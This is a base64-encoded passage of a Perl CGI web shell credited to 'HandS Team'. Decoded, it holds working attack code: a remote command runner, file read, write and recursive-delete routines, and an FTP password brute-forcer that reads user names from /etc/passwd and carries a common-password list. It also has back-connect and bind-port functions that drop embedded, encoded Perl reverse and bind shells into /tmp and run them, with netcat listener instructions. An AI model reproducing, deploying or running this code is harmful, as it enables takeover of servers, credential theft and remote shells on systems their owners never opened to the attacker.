ZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iSGFuZFMgVGVhbSIvPjwvdGQ+PC90cj4KPC9mb3JtPgo8L3RhYmxlPgpFTkQKcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCcnV0ZUZvcmNlcgp7CglteSAkcmVzdWx0PSIiOwoJJFNlcnZlcj0kRU5WeydTRVJWRVJfQUREUid9OwoJaWYoJGlueyd1c2VyJ30gZXEgIiIpCgl7CgkJJHJlc3VsdCAuPSAmQnJ1dGVGb3JjZXJGb3JtOwoJfWVsc2UKCXsKCQl1c2UgTmV0OjpGVFA7IAoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7CgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsKCQljaG9tcChAdXNlcik7CgkJY2hvbXAoQHBhc3MpOwoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOwoJCWZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikKCQl7CgkJCWlmKCR1c2VybmFtZSBuZSAiIikKCQkJewoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQoJCQkJewoJCQkJCSRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IAoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkKCQkJCQl7CgkJCQkJCSRyZXN1bHQgLj0gIjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyJz5bK10gZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcjwvYT48YnI+XG4iOwoJCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlpZigkaW57J3NsZWVwJ30gbmUgIjAiKQoJCQkJCXsKCQkJCQkJc2xlZXAoaW50KCRpbnsnc2xlZXAnfSkgKiAxMDAwKTsKCQkJCQl9CgkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJfQoJCQl9CgkJfQoJCSRyZXN1bHQgLj0gIlxuPGJyPj09PT09PT09PT0+Pj4+Pj4+Pj4+IEZpbmlzaGVkIDw8PDw8PDw8PDw9PT09PT09PT09PGJyPlxuIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kRm9ybQp7CglyZXR1cm4gPDxFTkQ7Cgk8YnI+PGJyPgoKCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJhY2tDb25uZWN0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+Cgk8dGQ+IEhvc3Q6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY2xpZW50YWRkciIgdmFsdWU9IiRFTlZ7J1JFTU9URV9BRERSJ30iPgoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4KCgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iSGFuZFMgVGVhbSI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayEKCTxicj5bK10gVHJ5IGNoZWNrIHlvdXIgUG9ydCB3aXRoIDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJodHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy8iPmh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLzwvYT4KCTxicj5bK10gQ2xpZW50IGxpc3RlbiB3aXRoIGNvbW1hbmQ6IDxydW4+bmMgLXZ2IC1sIC1wIDxzcGFuIGlkPSJiYSI+ODA8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+CgoJPGJyPjxicj4KCTx0YWJsZT4KCTx0cj4KCTxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoJPHRkPkJpbmQgUG9ydDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoKCTx0ZD4gUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjE1IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iMTQxMiIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij4KCgkgTSYjNzg1Mzt0IEtoJiM3ODQ5O3U6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkhhbmRTIFRlYW0iPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBUZXN0aW5nIC4uLi4KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21KcGJtUW9VMFZTVmtWU0xDQnpiMk5yWVdSa2NsOXBiaWdrY0c5eWRDd2dTVTVCUkVSU1gwRk9XU2twYjNJZ1pHbGxJQ0ppYVc1a09pQWtJU0k3RFFwc2FYTjBaVzRvVTBWU1ZrVlNMQ0JUVDAxQldFTlBUazRwQ1FsdmNpQmthV1VnSW14cGMzUmxiam9nSkNFaU93MEtabTl5S0RzZ0pIQmhaR1J5SUQwZ1lXTmpaWEIwS0VOTVNVVk9WQ3dnVTBWU1ZrVlNLVHNnWTJ4dmMyVWdRMHhKUlU1VUtRMEtldzBLQ1c5d1pXNG9VMVJFU1U0c0lDSStKa05NU1VWT1ZDSXBPdzBLQ1c5d1pXNG9VMVJFVDFWVUxDQWlQaVpEVEVsRlRsUWlLVHNOQ2dsdmNHVnVLRk5VUkVWU1Vpd2dJajRtUTB4SlJVNVVJaWs3RFFvSmMzbHpkR1Z0S0NKMWJuTmxkQ0JJU1ZOVVJrbE1SVHNnZFc1elpYUWdVMEZXUlVoSlUxUWdPMlZqYUc4Z0oxc3JYU0JUZVhOMFpXMXBibVp2T2lBbk95QjFibUZ0WlNBdFlUdGxZMmh2TzJWamFHOGdKMXNyWFNCVmMyVnlhVzVtYnpvZ0p6c2dhV1E3WldOb2J6dGxZMmh2SUNkYksxMGdSR2x5WldOMGIzSjVPaUFuT3lCd2QyUTdaV05vYnpzZ1pXTm9ieUFuV3l0ZElGTm9aV3hzT2lBbk95UlRhR1ZzYkNJcE93MEtDV05zYjNObEtGTlVSRWxPS1RzTkNnbGpiRzl6WlNoVFZFUlBWVlFwT3cwS0NXTnNiM05sS0ZOVVJFVlNVaWs3RFFwOURRbz0iOwoKCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307CgkkQ2xpZW50UG9ydCA9IGludCgkaW57J2NsaWVudHBvcnQnfSk7CglpZigkQ2xpZW50UG9ydCBlcSAwKQoJewoJCXJldHVybiAmQmFja0JpbmRGb3JtOwoJfWVsc2lmKCEkQ2xpZW50QWRkciBlcSAiIikKCXsKCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiYWNrcGVybCk7CgkJaWYoLXcgIi90bXAvIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JhY2tjb25uZWN0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiYWNrY29ubmVjdC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX1lbHNlCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmluZHBlcmwpOwoJCWlmKC13ICIvdG1wIikKCQl7CgkJCSRGaWxlPSIvdG1wL2JpbmRwb3J0LnBsIjsJCgkJfWVsc2UKCQl7CgkJCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiJiaW5kcG9ydC5wbCI7CgkJfQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudFBvcnQiKTsKCQl1bmxpbmsoJEZpbGUpOwoJCWV4aXQgMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgIEFycmF5IExpc3QgRGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJtRGlyKCQpIAp7CglteSAkZGlyID0gc2hpZnQ7CglpZihvcGVuZGlyKERJUiwkZGlyKSkKCXsKCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkKCQl7CgkJCWlmKCgkZmlsZSBuZSAiLiIpICYmICgkZmlsZSBuZSAiLi4iKSkKCQkJewoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7CgkJCQlpZigtZCAkZmlsZSkKCQkJCXsKCQkJCQkmUm1EaXIoJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXVubGluaygkZmlsZSk7CgkJCQl9CgkJCX0KCQl9CgkJY2xvc2VkaXIoRElSKTsKCX0KfQpzdWIgRmlsZU93bmVyKCQpCnsKCW15ICRmaWxlID0gc2hpZnQ7CglpZigtZSAkZmlsZSkKCXsKCQkoJHVpZCwkZ2lkKSA9IChzdGF0KCRmaWxlKSlbNCw1XTsKCQlpZigkV2luTlQpCgkJewoJCQlyZXR1cm4gIj8/PyI7CgkJfQoJCWVsc2UKCQl7CgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOwoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7CgkJCXJldHVybiAkbmFtZS4iLyIuJGdyb3VwOwoJCX0KCX0KCXJldHVybiAiPz8/IjsKfQpzdWIgUGFyZW50Rm9sZGVyKCQpCnsKCW15ICRwYXRoID0g